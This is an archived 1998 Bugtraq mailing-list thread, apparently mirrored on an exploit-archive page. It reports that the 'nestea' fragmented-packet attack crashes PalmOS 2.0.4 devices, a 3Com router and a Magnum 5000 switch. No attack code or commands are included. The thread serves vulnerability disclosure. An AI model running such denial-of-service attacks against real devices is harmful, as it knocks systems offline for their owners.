To: BUGTRAQ@NETSPACE.ORG
Subject: "Off By One IP Header" Exploit Against PalmOS 2.0.4
I was really bored the other day and decided to see if my PalmPilot was
susceptible to the widely distributed 'nestea' exploit. After cradling my
PalmPilot Pro, and establishing a PPP connection with an MTU of 1500, I
tried a nestea of one packet against the Pilot's IP. After about 2 to 3
seconds, the Pilot popped up an error window like:
______________________
| |
| |
| |
| ____________________ |
|| Fatal Error ||
||~~~~~~~~~~~~~~~~~~~~||
|| Fatal Exception ||
|| _____ ||
|| (Reset) ||
|| ~~~~~ ||
~~~~~~~~~~~~~~~~~~~~~~
I suffered no data loss, but it's kind of annoying to have to re-boot your
pilot. I've tried to contact 3Com, but I've received no response from
them as to where to report PalmOS bugs. Questions I'd like to pose to the
reader:
1) When dialing up with the normal Palm PPP stack (not PPP-over-cradle),
will the attack still work (ie, will it negotiate a high enough MTU to
allow the crash packet through).
2) Does it also affect PalmOS 3.x (and other 2.x, for that matter)?
3) Does anyone know where to report these bugs to 3Com?
Bye,
-=[ Andrew Hobgood ]|[ Kha0S@EFNet
Date: Fri, 1 May 1998 20:27:15 +0200
From: Gereon Ruetten <gently@BAER.RWTH-AACHEN.DE>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: nestea does other things
Ivan Moore wrote:
>
> I have found a weird thing that I am still trying to test to make sure that it's
> actually doing that. But, I was testing out the netstea2 on a ip range and ended up
> dropping a 3COM router. (no keep in mind this thing prolly hasn't had any updates in
> a long time)...but I was just wondering if anyone else has seen this?
Same effect on a Magnum 5000 Ethernet-Switch
(http://www.garrettcom.com/m5000.html) with
actual firmware.
Gereon Ruetten
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: